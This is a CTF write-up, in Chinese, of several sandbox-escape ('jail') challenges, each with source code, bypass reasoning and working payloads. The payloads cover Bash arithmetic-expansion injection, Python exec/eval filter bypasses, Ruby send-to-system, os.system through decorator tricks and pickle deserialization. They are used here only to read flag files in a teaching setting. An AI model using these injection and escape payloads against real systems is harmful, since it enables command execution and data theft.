blind-calc
$ nc challs1.pyjail.club 5838
发送公式时,会返回计算结果。
输入math > 3*3
得到9
如果发送的公式无效,则返回错误语句。
输入 math > 0/0
./blind.sh:第 3 行:0/0:除以 0(错误标记为“0”)
我查了一下,它被称为 Bash 的 Arithmetic Expansion。
Enter math > a[$(ls)]
./blind.sh: line 3: blind.sh
flag.txt
run: syntax error: invalid arithmetic operator (error token is ".sh
flag.txt
run")
Enter math > a[$(cat flag.txt)]
./blind.sh: line 3: jail{blind-calc_9c701e8c09f6cc0edd6}: syntax error: invalid arithmetic operator (error token is "{blind-calc_9c701e8c09f6cc0edd6}")
filter'd
题目源码如下
#!/usr/local/bin/python3
M = 14 # no malicious code could ever be executed since this limit is so low, right?
def f(code):
assert len(code) <= M
assert all(ord(c) < 128 for c in code)
assert all(q not in code for q in ["exec",
"eval", "breakpoint", "help", "license", "exit"
, "quit"])
exec(code, globals())
f(input("> "))
由于限制了长度,我们可以通过input()函数绕过,
> N=input();f(N)
f(input())
M=99;f(N)
print(open('flag.txt').read())
jail{can_you_repeat_that_for_me?_aacb7144d2c}
操作步骤如下。
N=input() 执行。
字符串 “f(input())” 被分配给 N
f (N) 执行。
字符串 “f(input())” 为 exec。
字符串 “M=99; f(N)“ 开始执行。
M=99
f(N) 被执行
字符串 “f(input())” 为 exec。
在 M = 99 的状态下,可以执行 f (input())。
parity 1
源码如下
#!/usr/local/bin/python3
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp)
仅当偶数字符的 ORD 为偶数,奇数字符的 ORD 为奇数等条件时才能执行的沙箱。 也不允许使用非 ASCII 字符。
模糊测试结果如下
for x in dir(__builtins__):
for i, v in enumerate(x):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
break
else:
print(x)
for x in dir(__builtins__):
for i, v in enumerate(x):
if not (ord(v) < 128 and i % 2 != ord(v) % 2):
break
else:
print(x)
# 結果
# None
# bin
# dir
# hex
# len
# type
# vars
# zip
# abs
# any
# credits
# eval
# exit
# globals
# id
# iter
# open
eval
可以使用,所以你需要做的就是弄清楚如何生成任意字符串。
在这里,我们利用了"
(34)和(39)在偶数和奇数上不同的'
事实。如果字符数是奇数"a"
,如果是偶数,'b'
则可以表示任意字符。通过使用 (32)和(43),可以如下组合。我用它创建了一个求解器。
def parseParity(s):
res = ""
for i in range(len(s)):
if ord(s[i]) % 2 == 0:
res += f" '{s[i]}' +"
else:
res += f'"{s[i]}"+'
return res.strip()[:-1]
payload = "print(open('flag.txt').read())"
inp = f""" eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
# print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 )
print(inp)
现在python test.py | nc challs2.pyjail.club 7991
可以跑并获得了。
parity 2
条件与上一问题类似,但不是内置函数不可用,而是可以使用一个 lambda 函数。
#!/usr/local/bin/python3
inp = input("> ")
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp, {"__builtins__": None, 'f': f})
模糊测试如下
f = lambda: None
for x in dir(f):
for i, v in enumerate(x):
if v == '_':
continue
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
break
else:
print(x)
for x in dir(f):
for i, v in enumerate(x):
if v == '_':
continue
if not (ord(v) < 128 and i % 2 != ord(v) % 2):
break
else:
print(x)
# 結果
# __dir__
# __le__
# __ne__
# __globals__
# __gt__
# __init__
我查了一下,f.__globals__['__builtins__'].eval
可以使用。剩下要做的就是找到上一个问题中 '__builtins__'
的内容。
def parseParity(s):
parity = 0
res = ""
for i in range(len(s)):
if ord(s[i]) % 2 == 0:
res += f" '{s[i]}' +"
else:
res += f'"{s[i]}"+'
return res.strip()[:-1]
payload = """f.__builtins__["print"](f.__builtins__["open"]("flag.txt").read())"""
inp = f"""f\t.__globals__ [{parseParity('__builtins__')}].eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
# print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 or v == '_')
print(inp)
SUS-计算器
允许在 ruby 中执行四种算术运算的沙箱
#!/usr/local/bin/ruby
class Calc
def self.+ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left + right
end
# 同様のものが- * / %で定義されている。
end
# snap
loop do
print "> "
cmd = gets.chomp.split
# snap
left, op, right = cmd
puts Calc.send(op.to_sym, left, right)
end
这Calc.send
是什么?由于它没有在类中定义,我认为它是内置在 Ruby 中的,我发现可以使用类中的符号调用任何方法。
如果我们在全局函数而不是方法中执行它会发生什么?所以我尝试ls system -l
运行它,它system('ls', '-l')
成功了。
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> ls system -l
total 8
-r--r--r-- 1 nobody nogroup 28 Jul 3 02:25 flag.txt
-rwxr-xr-x 1 nobody nogroup 1164 Jul 2 06:11 run
true
> cat system flag.txt
jail{me_when_i_uhhh_escape}
true
no nonsense
必须满足以下条件
- 当输入被ast解释时,原始代码中不包含变量名
-
([=])
不包含字符。 -
\n
不要包含(否则input
将会结束)
#!/usr/local/bin/python3
from ast import parse, NodeVisitor
inp = input('> ')
if any(c in inp for c in '([=])'):
print('no.')
exit()
class NoNonsenseVisitor(NodeVisitor):
def visit_Name(self, n):
if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
print('no ' + n.id)
exit()
NoNonsenseVisitor().visit(parse(inp))
exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk
Python将全角字母等Unicode字符转换为Ascii字符,因此转换后的变量名不再包含在原始代码中。
关于第二个条件,好像没有括号函数就无法执行,但是使用类装饰器可以执行函数。使用此功能,可以通过执行eval(bytes.fromhex("<有效负载的十六进制数>".format(_)))
对应的代码来执行任意代码。
如果使用装饰器,则必须使用换行符,因此需要考虑第三个条件。这也可以通过利用 python将\r
视为换行符
e = "__import__('os').system('cat flag.txt')"
e = e.encode().hex()
payload = f"""@eval
@bytes.fromhex
@"{e}".format
class _:pass
""".replace("\n", "\r")
print(payload)
pickled magic
它读取pickle,但只能读取不包含的numpy
变量。__
#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'numpy' and '__' not in name:
return _getattribute(numpy, name)[0]
raise pickle.UnpicklingError('bad')
data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())
由于除非使用find_class
执行,否则无法导入pickle find_class('__builtins__', 'eval')
,因此即使是常见的内置命令也无法在此环境中使用。
poc
from pickaxe.crafter import Crafter
crafter = Crafter()
crafter.import_from('numpy', 'loadtxt')
crafter.push_str('flag.txt')
crafter.call_f(1)
b = crafter.get_payload(check_stop=True)
print(b.hex())
payload如下
$ python test.py | nc challs1.pyjail.club 5200
(hex)> ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'
也可以用原来的生成它。
import pickle
class Evil:
def __reduce__(self):
from numpy import loadtxt
return (loadtxt, ('flag.txt',))
pickled = pickle.dumps(Evil())
print(pickled.hex())
jellyjail
名为jelly的 esolang(模糊编程语言)沙箱。只允许使用两个字符。
#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval
inp = input()[:2]
banned = "0123456789ỌŒƓVС" # good thing i blocked all ways of getting to python eval !!! yep
if not all([c not in inp for c in banned]):
print('stop using banned')
exit()
print(jelly_eval(inp, []))
文档中寻找有用的函数。
首先,我甚至无法输入包含两个字符的文件名,因此我希望能够输入其他字符。但是只能用Ɠƈɠ
这些
接下来,我想执行它,所以我搜索“eval”并Vv
找到了它
从之前的搜索中,Ɠ
我知道标准输入将作为 python 代码执行,因此我能够进一步利用它来执行任意代码。
poc如下
$ nc challs1.pyjail.club 5999
ɠv
Ɠ
print(open('flag.txt').read())
jail{jelllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllly_c3056822a950d0}